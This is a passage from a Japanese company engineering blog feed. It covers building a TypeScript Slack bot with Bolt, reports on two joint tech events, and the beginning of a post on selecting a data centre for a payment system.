href="http://d.hatena.ne.jp/keyword/MySQL">MySQL</a>での経験を上手く活かすことができてよかったです。 その後、Auroraへの移行自体は完了して問題なくサービスで稼働しています。</p> <p>DBの負荷テストまわりの情報はあまり多くないの気がしているので、今後、同様に知見を公開してくれる人が増えるといいなと考えています。</p> <div class="footnote"> <p class="footnote"><a href="#fn-7f879745" name="f-7f879745" class="footnote-number">*1</a><span class="footnote-delimiter">:</span><span class="footnote-text"><a href="https://so-wh.at/entry/2022/05/07/195035">https://so-wh.at/entry/2022/05/07/195035</a></span></p> <p class="footnote"><a href="#fn-c5cfb212" name="f-c5cfb212" class="footnote-number">*2</a><span class="footnote-delimiter">:</span><span class="footnote-text"><a href="https://github.com/winebarrel/rds-download-log-file">https://github.com/winebarrel/rds-download-log-file</a></span></p> </div> winebarrel 開発のためにBoltでSlackボットを作った話 hatenablog://entry/4207112889941662209 2022-12-02T15:11:57+09:00 2022-12-02T15:11:57+09:00 SREの菅原です。 この記事はカンム Advent Calendar 2022の2日目の記事になります。 細々としたことをさせるためのボットをSlackに常駐させるのはよく行われていることだと思いますが、カンムにも kanmukun と kabot という2台のボットが常駐しています。 私の入社当時 kanmukun しかいなかったのですが、あまりメンテナンスされている様子がなく、新しい機能を追加するのが難しかったため、新しく kabot というボットを作成しました。 ボットを作成するにあたって既存のSlackボットフレームワークを利用することを検討しましたが、Hubotはすでにメンテナンスが… <p>SREの菅原です。 この記事は<a href="https://adventar.org/calendars/7789">カンム Advent Calendar 2022</a>の2日目の記事になります。</p> <p>細々としたことをさせるためのボットをSlackに常駐させるのはよく行われていることだと思いますが、カンムにも kanmukun と  kabot という2台のボットが常駐しています。</p> <p>私の入社当時 kanmukun しかいなかったのですが、あまりメンテナンスされている様子がなく、新しい機能を追加するのが難しかったため、新しく kabot というボットを作成しました。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20221202/20221202132621.png" width="217" height="124" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>ボットを作成するにあたって既存のSlackボット<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D5%A5%EC%A1%BC%A5%E0%A5%EF%A1%BC%A5%AF">フレームワーク</a>を利用することを検討しましたが、<a href="https://github.com/hubotio/hubot">Hubot</a>はすでにメンテナンスが止まっており、<a href="https://github.com/r7kamura/ruboty">Ruboty</a>はカンムには<a class="keyword" href="http://d.hatena.ne.jp/keyword/Ruby">Ruby</a>の文化がないため自分以外が触るのが難しく、となかなかしっくりくる<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D5%A5%EC%A1%BC%A5%E0%A5%EF%A1%BC%A5%AF">フレームワーク</a>は見つからず…</p> <p>いろいろと調べた結果、最終的には<a href="https://slack.dev/bolt-js/ja-jp/concepts#socket-mode">Slackのソケットモード+Bolt</a>でボットを実装することしました。<a class="keyword" href="http://d.hatena.ne.jp/keyword/JavaScript">JavaScript</a>で書き始めましたが、その後同僚のアド<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D0%A5%A4%A5%B9">バイス</a>を受けてTypeScriptで書き直しました。</p> <h2 id="kabotの実装">kabotの実装</h2> <p>ファイルの構成はこんな感じです。</p> <pre class="code" data-lang="" data-unlink>. ├── Dockerfile ├── Makefile ├── README.md ├── manifest.dev.yml ├── manifest.yml ├── package-lock.json ├── package.json ├── dist/ ├── node_modules/ ├── src │   ├── action.ts │   ├── actions │   │   ├── asg.ts │   │   ├── assign.ts │   │   ├── book.ts │   │   ├── github-zen.ts │   │   ├── help.ts │   │   ├── image.ts │   │   ├── index.ts │   │   ├── issue.ts │   │   ├── omikuji.ts │   │   ├── oyatsu.ts │   │   ├── ping.ts │   │   ... │   ├── aws.ts │   ├── github.ts │   ├── handler.ts │   ├── index.ts │   ├── reaction.ts │   ├── reaction_handler.ts │   └── reactions │   ├── index.ts │   ├── infra_ticket.ts │   ... └── tsconfig.json</pre> <p>Handlerクラスがメッセージを受け付けて、マッチするコマンドがあれば関連付けられたアクションを呼び出します。</p> <pre class="code lang-typescript" data-lang="typescript" data-unlink>app.event<span class="synStatement">(</span><span class="synConstant">&quot;app_mention&quot;</span><span class="synStatement">,</span> <span class="synStatement">async</span> <span class="synStatement">(</span>message<span class="synStatement">)</span> <span class="synStatement">=&gt;</span> <span class="synIdentifier">{</span> <span class="synType">const</span> <span class="synIdentifier">{</span> say <span class="synIdentifier">}</span> <span class="synStatement">=</span> message<span class="synStatement">;</span> <span class="synSpecial">try</span> <span class="synIdentifier">{</span> <span class="synStatement">await</span> Handler.call<span class="synStatement">(</span>message<span class="synStatement">);</span> <span class="synComment">// ...(略)</span> <span class="synStatement">export</span> <span class="synStatement">class</span> Handler <span class="synIdentifier">{</span> <span class="synStatement">static</span> <span class="synStatement">async</span> call<span class="synStatement">(</span>message: Message<span class="synStatement">)</span> <span class="synIdentifier">{</span> <span class="synType">const</span> <span class="synIdentifier">{</span> event<span class="synStatement">,</span> context<span class="synStatement">,</span> say <span class="synIdentifier">}</span> <span class="synStatement">=</span> message<span class="synStatement">;</span> <span class="synType">const</span> text <span class="synStatement">=</span> event.text .replace<span class="synStatement">(new</span> <span class="synSpecial">RegExp</span><span class="synStatement">(</span><span class="synConstant">`^&lt;@</span><span class="synSpecial">${</span>context.botUserId<span class="synSpecial">}</span><span class="synConstant">&gt;\\s+`</span><span class="synStatement">),</span> <span class="synConstant">&quot;&quot;</span><span class="synStatement">)</span> .trim<span class="synStatement">();</span> <span class="synType">let</span> matched <span class="synStatement">=</span> <span class="synConstant">false</span><span class="synStatement">;</span> <span class="synStatement">for</span> <span class="synStatement">(</span><span class="synType">const</span> <span class="synIdentifier">[</span>key<span class="synStatement">,</span> action<span class="synIdentifier">]</span> <span class="synStatement">of</span> <span class="synIdentifier">this</span>.actions<span class="synStatement">)</span> <span class="synIdentifier">{</span> <span class="synType">const</span> matchData <span class="synStatement">=</span> text.match<span class="synStatement">(</span>key<span class="synStatement">);</span> <span class="synStatement">if</span> <span class="synStatement">(</span>matchData<span class="synStatement">)</span> <span class="synIdentifier">{</span> matched <span class="synStatement">=</span> <span class="synConstant">true</span><span class="synStatement">;</span> <span class="synStatement">await</span> action.call<span class="synStatement">(</span>matchData<span class="synStatement">,</span> message<span class="synStatement">);</span> <span class="synIdentifier">}</span> <span class="synIdentifier">}</span> </pre> <pre class="code lang-typescript" data-lang="typescript" data-unlink><span class="synStatement">class</span> Ping <span class="synStatement">implements</span> Action <span class="synIdentifier">{</span> name <span class="synStatement">=</span> <span class="synConstant">&quot;ping&quot;</span><span class="synStatement">;</span> help <span class="synStatement">=</span> <span class="synConstant">&quot;Return PONG to PING&quot;</span><span class="synStatement">;</span> <span class="synStatement">async</span> call<span class="synStatement">(</span>_m: RegExpMatchArray<span class="synStatement">,</span> <span class="synIdentifier">{</span> body<span class="synStatement">,</span> say <span class="synIdentifier">}</span>: Message<span class="synStatement">)</span> <span class="synIdentifier">{</span> say<span class="synStatement">(</span><span class="synIdentifier">{</span> text: <span class="synConstant">`&lt;@</span><span class="synSpecial">${</span>body.event.user<span class="synSpecial">}</span><span class="synConstant">&gt; pong`</span><span class="synStatement">,</span> thread_ts: body.event.thread_ts<span class="synStatement">,</span> <span class="synIdentifier">}</span><span class="synStatement">);</span> <span class="synIdentifier">}</span> <span class="synIdentifier">}</span> </pre> <p>Rubotyの実装に倣っていて、BrainとAdapterのないHubotのような感じです。</p> <p>ボットの運用については、<a href="https://gist.github.com/winebarrel/b28db3d60d5d5491ede676360a75e540">ちょうど去年作った内部サービス向けECS環境</a>があったので、そこで動かしています。</p> <h2 id="kabotの機能">kabotの機能</h2> <p>個人的に暇を見つけては、開発で役に立つ機能からどうでも良い機能までちまちまとkabotに追加しています。</p> <h4 id="Slackユーザーグループからランダム選択">Slackユーザーグループからランダム選択</h4> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20221202/20221202141918.png" width="281" height="125" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="リリース用PRの作成">リリース用PRの作成</h4> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20221202/20221202144659.png" width="519" height="109" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> <a href="#f-6479e141" name="fn-6479e141" title="git-pr-releaseを使っています">*1</a></p> <h4 id="Issueの作成">Issueの作成</h4> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20221202/20221202144718.png" width="443" height="121" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="PagerDutyのオーバーライド">PagerDutyのオーバーライド</h4> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20221202/20221202145139.png" width="398" height="126" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="社員情報の表示">社員情報の表示</h4> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20221202/20221202144805.png" width="653" height="386" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="画像検索">画像検索</h4> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20221202/20221202141228.png" width="453" height="284" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="Spotify検索"><a class="keyword" href="http://d.hatena.ne.jp/keyword/Spotify">Spotify</a>検索</h4> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20221202/20221202141429.png" width="578" height="229" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="Youtube検索"><a class="keyword" href="http://d.hatena.ne.jp/keyword/Youtube">Youtube</a>検索</h4> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20221202/20221202141620.png" width="472" height="260" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="ニコニコ検索">ニコニコ検索</h4> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20221202/20221202141712.png" width="502" height="292" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="書籍検索">書籍検索</h4> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20221202/20221202142030.png" width="591" height="247" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>…等々、他にもいろいろなコマンドを実装しています。</p> <h2 id="リアクションへの反応">リアクションへの反応</h2> <p><code>@kabot [コマンド]</code> でkabotにコマンドを実行される以外に、リアクションの絵文字にも反応できるようにしています。</p> <p>以下はリアクションに反応してIssueを作成している様子です。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20221202/20221202144948.png" width="464" height="197" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>実装としては、reaction_addedイベントをフックしてHandlerクラスと同様にマッチしたコマンドを呼び出すようにしています。</p> <pre class="code lang-typescript" data-lang="typescript" data-unlink>app.event<span class="synStatement">(</span><span class="synConstant">&quot;reaction_added&quot;</span><span class="synStatement">,</span> <span class="synStatement">async</span> <span class="synStatement">(</span>message<span class="synStatement">)</span> <span class="synStatement">=&gt;</span> <span class="synIdentifier">{</span> <span class="synStatement">if</span> <span class="synStatement">(</span>message.payload.item.<span class="synStatement">type</span> <span class="synStatement">!=</span> <span class="synConstant">&quot;message&quot;</span><span class="synStatement">)</span> <span class="synIdentifier">{</span> <span class="synStatement">return;</span> <span class="synIdentifier">}</span> <span class="synSpecial">try</span> <span class="synIdentifier">{</span> <span class="synStatement">await</span> ReactionHandler.call<span class="synStatement">(</span>message<span class="synStatement">);</span> <span class="synComment">// ...(略)</span> <span class="synStatement">export</span> <span class="synStatement">class</span> ReactionHandler <span class="synIdentifier">{</span> <span class="synStatement">static</span> <span class="synStatement">async</span> call<span class="synStatement">(</span>message: Message<span class="synStatement">)</span> <span class="synIdentifier">{</span> <span class="synType">const</span> <span class="synIdentifier">{</span> client<span class="synStatement">,</span> payload<span class="synStatement">,</span> event <span class="synIdentifier">}</span> <span class="synStatement">=</span> message<span class="synStatement">;</span> <span class="synType">const</span> <span class="synIdentifier">{</span> channel<span class="synStatement">,</span> ts <span class="synIdentifier">}</span> <span class="synStatement">=</span> event.item <span class="synStatement">as</span> <span class="synIdentifier">{</span> channel: <span class="synType">string</span><span class="synStatement">;</span> ts: <span class="synType">string</span> <span class="synIdentifier">}</span><span class="synStatement">;</span> <span class="synStatement">for</span> <span class="synStatement">(</span><span class="synType">const</span> <span class="synIdentifier">[</span>key<span class="synStatement">,</span> reaction<span class="synIdentifier">]</span> <span class="synStatement">of</span> <span class="synIdentifier">this</span>.reactions<span class="synStatement">)</span> <span class="synIdentifier">{</span> <span class="synStatement">if</span> <span class="synStatement">(</span>message.event.reaction <span class="synStatement">==</span> key<span class="synStatement">)</span> <span class="synIdentifier">{</span> <span class="synType">const</span> ms <span class="synStatement">=</span> <span class="synStatement">await</span> client.conversations .replies<span class="synStatement">(</span><span class="synIdentifier">{</span> channel: channel<span class="synStatement">,</span> ts: ts<span class="synStatement">,</span> <span class="synIdentifier">}</span><span class="synStatement">)</span> .then<span class="synStatement">((</span>h<span class="synStatement">)</span> <span class="synStatement">=&gt;</span> h.messages<span class="synStatement">);</span> <span class="synStatement">if</span> <span class="synStatement">(</span>ms <span class="synConstant">&amp;&amp;</span> ms<span class="synIdentifier">[</span><span class="synConstant">0</span><span class="synIdentifier">]</span><span class="synStatement">)</span> <span class="synIdentifier">{</span> <span class="synStatement">await</span> reaction.call<span class="synStatement">(</span>message<span class="synStatement">,</span> ms<span class="synIdentifier">[</span><span class="synConstant">0</span><span class="synIdentifier">]</span><span class="synStatement">);</span> <span class="synIdentifier">}</span> </pre> <p>Slackでちょっとつぶやいたことをそのまま<a class="keyword" href="http://d.hatena.ne.jp/keyword/GitHub">GitHub</a>のIssueにできるのが便利です。</p> <h2 id="まとめ">まとめ</h2> <p>かなりぱぱっと作ったものではあるのですが、pr-releaseコマンドとissueリアクションはそれなりに利用されていて、DXの改善に貢献できていると思います。また、コマンドをサクッと追加できるようにしているので、仕事の気晴らしにくだらないコマンドを追加しするのも楽しいです。</p> <p>最近はSlackボットにメンションするよりスラッシュコマンドを実行するのほうがメジャーなのかなと思いつつも、<code>@kabot ping</code>と打って<code>pong</code>と返してくれるのは可愛く思ってしまうので、今後もメンテしていきたいと思っています。</p> <div class="footnote"> <p class="footnote"><a href="#fn-6479e141" name="f-6479e141" class="footnote-number">*1</a><span class="footnote-delimiter">:</span><span class="footnote-text"><a href="https://github.com/x-motemen/git-pr-release">git-pr-release</a>を使っています</span></p> </div> winebarrel 「泥臭くも価値を届ける決済の仕組みと工夫 by 10X + CAMPFIRE + Kanmu」を開催しました hatenablog://entry/4207112889941364260 2022-12-02T10:04:05+09:00 2022-12-02T10:04:05+09:00 カンムの achiku です。 2022/11/30に株式会社10Xさま、株式会社CAMPFIREさまと合同で「泥臭くも価値を届ける決済の仕組みと工夫 by 10X + CAMPFIRE + Kanmu」というイベントを開催しました。ご参加いただいたみなさま、ありがとうございました! kanmu.connpass.com このイベントでは、普及速度が年々加速している「決済」をテーマに、10X・CAMPFIRE・カンムといった決済の中でも異なる役割のプレイヤーが集まり、泥臭くもユーザーに価値を届ける為に行っている現場感たっぷりのエンジニアリングトークをご紹介しました。 セッションに登壇しました … <p>カンムの <a href="https://twitter.com/_achiku">achiku</a> です。</p> <p>2022/11/30に株式会社10Xさま、株式会社CAMPFIREさまと合同で「泥臭くも価値を届ける決済の仕組みと工夫 by 10X + CAMPFIRE + Kanmu」というイベントを開催しました。ご参加いただいたみなさま、ありがとうございました!</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fkanmu.connpass.com%2Fevent%2F266209%2F" title="泥臭くも価値を届ける決済の仕組みと工夫 by 10X + CAMPFIRE + Kanmu (2022/11/30 19:00〜)" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://kanmu.connpass.com/event/266209/">kanmu.connpass.com</a></cite></p> <p>このイベントでは、普及速度が年々加速している「決済」をテーマに、10X・CAMPFIRE・カンムといった決済の中でも異なる役割のプレイヤーが集まり、泥臭くもユーザーに価値を届ける為に行っている現場感たっぷりのエンジニアリング<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C8%A1%BC%A5%AF">トーク</a>をご紹介しました。</p> <h2 id="セッションに登壇しました">セッションに登壇しました</h2> <p>弊社からは <a href="https://twitter.com/hiroakis_">hiroakis</a> さんが「バンドルカードのクレジットカード決済システムの泥臭い運用」というタイトルで登壇しました。</p> <p><iframe id="talk_frame_960972" class="speakerdeck-iframe" src="//speakerdeck.com/player/b4f74c79b66b4f6d8cd3bb23340d11f2" width="710" height="532" style="aspect-ratio:710/532; border:0; padding:0; margin:0; background:transparent;" frameborder="0" allowtransparency="true" allowfullscreen="allowfullscreen" mozallowfullscreen="true" webkitallowfullscreen="true"></iframe> <cite class="hatena-citation"><a href="https://speakerdeck.com/hiroakis/bandorukadono-kurezitutokadojue-ji-sisutemuno-ni-chou-iyun-yong">speakerdeck.com</a></cite></p> <p>国際ブランド決済ネットワークに参加しているプレイヤーの役割から始まり、仮売上と実売上の突き合わせの妙、ビジネスパートナーの各種環境制約の中でどのようにして効率的なネットワーク環境を構築するかという、まさに現場感たっぷりなお話になっております。自分はこの佐野さんの仕事をずっと間近で見ているのですが、一つ一つ問題を定義し構造全体の整合性を取りながら、カスタマーサポートやビジネスパートナーと粘り強く議論しながら事業を前に進めていく馬力は本当に尊敬しています。</p> <h2 id="パネルディスカッションを行いました">パネルディスカッションを行いました</h2> <p>パネルディスカッションでは10Xの <a href="https://twitter.com/yamarkz">@yamarkz</a> さん、CAMPFIREの<a href="https://twitter.com/t_aogawa">@t_aogawa</a> さん、カンムの <a href="https://twitter.com/hiroakis_">@hiroakis</a> さんを交え、自分(=achiku)がモデレーターを務めながら、各社の取り組みや知見について語り合いました。</p> <p>モデレーターとして話は弾むかな...と若干ドキドキしていた部分もあるのですが、そんな心配全く不要なほどお三方で活発な議論がなされており、やはり自分たちの向こう側にある仕組みがどうなっているか、どういう工夫があるのか、という話題は面白いなぁと思いながら聞いておりました。</p> <p>自分たちはイシュアー(カード発行事業者)としてユーザーさんに価値を届けようとしているのですが、その先にはもちろん10XさんやCAMPFIREさんのように加盟店としてユーザーさんに価値を届けようとしている方たちがおり、当たり前なんですがその中でなされている工夫がたくさんあり、いつもとは異なる観点から「決済」というものに向き合えてとても刺激的でした。なんか自分たちの向こう側にもユーザーに価値を届けようと頑張ってる人たちがいるって良いですよね。励まされるといいますか。</p> <h2 id="最後に">最後に</h2> <p>イベント中も何度か言ったと思うのですが、過去無いほどインターネット上で価値が交換されていて、その交換のフォーマットの多様性は増しています。10Xさんのように20点もの商品を組み合わせてインターネット上で生鮮食品/日用品を購入するという行いも、CAMPFIREさんのようにプロジェクトの成否によって決済が実行されるがそれまでは仮売上で保留するという形も、もしかしたらネット上のサブスクや、Pay Per Viewや、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C5%EA%A4%B2%C1%AC">投げ銭</a>や、一話購読だって、インターネットと決済の組み合わせで発生し始めた新しい価値交換のフォーマットだと考えています。そんな領域に対するソフトウェア的な工夫や、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B7%D0%B8%B3%C3%CC">経験談</a>はきっと、新しい領域をソフトウェアに落とし込む際の良い参考になるんじゃないかなぁと考えております。そんなわけでこういうイベントはまたやりたいです!</p> <p>あらためましてイベントにご参加いただいたみなさま、またご一緒させていただいた10Xさま、CAMPFIREさま、本当にありがとうございました!</p> <p>そして、カンムではエンジニアを大募集中です!今回のイベントをきっかけにカンムに少しでも興味を持った方は、ぜひカジュアル面談でお話しましょう。</p> <p>▼カジュアル面談申込みはこちらから</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fteam.kanmu.co.jp%2F" title="カンムのチーム情報" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://team.kanmu.co.jp/">team.kanmu.co.jp</a></cite></p> <p>イベントの見逃し配信はこちらから視聴できます!</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DuJ8Rp27yK2Q" title="泥臭くも価値を届ける決済の仕組みと工夫 by 10X + CAMPFIRE + Kanmu" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://www.youtube.com/watch?v=uJ8Rp27yK2Q">www.youtube.com</a></cite></p> kanmu-tech 「価値を最大化して素早くユーザーへ届けるための開発フロー〜Figma編〜 SmartHRxKanmu」を開催しました hatenablog://entry/4207112889938598525 2022-11-22T14:34:52+09:00 2022-11-22T14:34:52+09:00 こんにちは!カンムの小山内です。 2022/11/21に株式会社SmartHRさまと合同で「価値を最大化して素早くユーザーへ届けるための開発フロー〜Figma編〜 SmartHRxKanmu」というイベントを開催しました。なんと100名以上の方にお申し込みいただけたようです。ご参加いただいたみなさま、ありがとうございました! kanmu.connpass.com このイベントでは、日々のプロダクト開発におけるFigmaを活用したスムーズな意思決定、ベストプラクティスの蓄積、開発コラボレーションの実践的なノウハウなどを、SmartHR・カンム各社の実体験をベースにご紹介しました。 またイベント後… <p>こんにちは!カンムの小山内です。</p> <p>2022/11/21に株式会社SmartHRさまと合同で「価値を最大化して素早くユーザーへ届けるための開発フロー〜<a class="keyword" href="http://d.hatena.ne.jp/keyword/Figma">Figma</a>編〜 SmartHRxKanmu」というイベントを開催しました。なんと100名以上の方にお申し込みいただけたようです。ご参加いただいたみなさま、ありがとうございました!</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fkanmu.connpass.com%2Fevent%2F265552%2F" title="価値を最大化して素早くユーザーへ届けるための開発フロー〜Figma編〜 SmartHRxKanmu (2022/11/21 19:00〜)" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://kanmu.connpass.com/event/265552/">kanmu.connpass.com</a></cite></p> <p>このイベントでは、日々のプロダクト開発における<a class="keyword" href="http://d.hatena.ne.jp/keyword/Figma">Figma</a>を活用したスムーズな意思決定、ベストプ<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%E9%A5%AF">ラク</a>ティスの蓄積、開発コラボレーションの実践的なノウハウなどを、SmartHR・カンム各社の実体験をベースにご紹介しました。 またイベント後半のパネルディスカッションは、登壇者だけでなく参加者のみなさまにも<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A4%A5%F3%A5%BF%A5%E9%A5%AF%A5%C6%A5%A3%A5%D6">インタラクティブ</a>に発言できるよう、<a class="keyword" href="http://d.hatena.ne.jp/keyword/Twitter">Twitter</a> Spaceにて実施しました。</p> <h2 id="セッションに登壇しました">セッションに登壇しました</h2> <p><iframe id="talk_frame_956813" class="speakerdeck-iframe" src="//speakerdeck.com/player/42ad30c74b7a49dcb1d58291b423394d" width="710" height="399" style="aspect-ratio:710/399; border:0; padding:0; margin:0; background:transparent;" frameborder="0" allowtransparency="true" allowfullscreen="allowfullscreen" mozallowfullscreen="true" webkitallowfullscreen="true"></iframe> <cite class="hatena-citation"><a href="https://speakerdeck.com/0sanai/purodakutonojia-zhi-wogao-merutamenokai-fa-hurogai-shan-figmabian">speakerdeck.com</a></cite></p> <p>このセッションではプロダクトの価値を高めるために日常的にやっていることや、<a class="keyword" href="http://d.hatena.ne.jp/keyword/Figma">Figma</a>を活用しながら素早く開発できるよう改善したことなどを紹介しました。 デザイナーとエンジニアが快適・快速に仕事ができるよう、小さな工夫も地道に積み重ねているところです。</p> <h2 id="パネルディスカッションを行いました">パネルディスカッションを行いました</h2> <p>パネルディスカッションではSmartHR デザイナーの <a href="https://twitter.com/o_kwr">大河原さん</a> を交え、モデレーターの <a href="https://twitter.com/_achiku">@_achiku</a> と各社の取り組みや知見について語り合いました。</p> <ul> <li>モブデザインの勘所 <ul> <li>スムーズに意思決定をするためのコツ</li> <li><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D5%A5%A1%A5%B7%A5%EA%A5%C6%A1%BC%A5%BF%A1%BC">ファシリテーター</a>として大事にしていること</li> </ul> </li> <li>目指しているデザインシステムの形 <ul> <li>デザインとコードを1対1にすることのメリットと課題</li> <li>プロダクトを横断した管理方法</li> </ul> </li> </ul> <h2 id="最後に">最後に</h2> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/Figma">Figma</a>の活用方法は開発チームによって様々な形があります。カンムも工夫と試行錯誤をしながら日々開発を進めていますが、今回SmartHRさまの活用方法について詳しく聞けたことや意見交換したことはとても学びになりました。イベントにご参加いただいたみなさま、またご一緒させていただいたSmartHRの大河原さん、本当にありがとうございました!</p> <p>そして、カンムではエンジニアを大募集中です!今回のイベントをきっかけにカンムに少しでも興味を持った方は、ぜひカジュアル面談でお話しましょう。</p> <p>▼カジュアル面談申込みはこちらから</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fteam.kanmu.co.jp%2F" title="カンムのチーム情報" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://team.kanmu.co.jp/">team.kanmu.co.jp</a></cite></p> kanmu-tech クレジットカード決済システムで利用するデータセンターの選定 hatenablog://entry/4207112889927022508 2022-11-11T13:14:52+09:00 2022-11-11T13:15:40+09:00 エンジニアの佐野です。今日はインフラの話です。主に物理インフラの話です。カンムがデータセンター(以下、DC)の選定や契約をした際の勘所について書きます。クラウドと DC の相互接続であったりネットワーク構成や機器のコンフィグレーションなどのテクニカルな話はまた別途書こうと思います。 カンムでは主に AWS や GCP 上にインフラを展開して開発を行っています。メインは AWS、機械学習やデータプロセッシングの一部は GCP です。そして先に書いたとおり DC 契約もしています。基本的にはクラウド中心のインフラ運用ですが DC はビジネスパートナーと専用線接続するための重要な拠点となっていて、シ… <p>エンジニアの<a href="https://twitter.com/hiroakis_">佐野</a>です。今日はインフラの話です。主に物理インフラの話です。カンムがデータセンター(以下、DC)の選定や契約をした際の勘所について書きます。<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AF%A5%E9%A5%A6%A5%C9">クラウド</a>と DC の相互接続であったりネットワーク構成や機器のコンフィグレーションなどのテクニカルな話はまた別途書こうと思います。</p> <p>カンムでは主に <a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a> や <a class="keyword" href="http://d.hatena.ne.jp/keyword/GCP">GCP</a> 上にインフラを展開して開発を行っています。メインは <a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a>、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B5%A1%B3%A3%B3%D8%BD%AC">機械学習</a>やデータプロセッシングの一部は <a class="keyword" href="http://d.hatena.ne.jp/keyword/GCP">GCP</a> です。そして先に書いたとおり DC 契約もしています。基本的には<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AF%A5%E9%A5%A6%A5%C9">クラウド</a>中心のインフラ運用ですが DC はビジネスパートナーと<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%EC%CD%D1%C0%FE">専用線</a>接続するための重要な拠点となっていて、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B7%A5%F3%A5%AC%A5%DD%A1%BC%A5%EB">シンガポール</a>拠点の企業などと<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%EC%CD%D1%C0%FE">専用線</a>で接続しています。DC と <a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a> 間は <a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a> Direct Connect で接続しています。</p> <p>今や特にスタートアップは DC を自前契約することはほとんどないと思っています。大企業でも自社 DC を持っていてさらに強力なプラットフォームチームがなければ<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AF%A5%E9%A5%A6%A5%C9">クラウド</a>を採択するケースの方が多いんじゃないかと思います。強力なプラットフォームチームがいたとしても<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D1%A5%D6%A5%EA%A5%C3%A5%AF%A5%AF%A5%E9%A5%A6%A5%C9">パブリッククラウド</a>を選択した方が良いかもしれません。しかしながら歴史のある業種であったりシステム連携先が多い事業体の場合どうしても<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%EC%CD%D1%C0%FE">専用線</a>接続が必要なケースがあります。早く<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AF%A5%E9%A5%A6%A5%C9">クラウド</a>に対応してくんねーかな〜、と手をこまねいていても何も始まりません。しかし「よしじゃあやるか」と腰を上げるにも筋力が必要かと思います。今まで物理インフラを触ったことがない、触ったことはあるけど DC 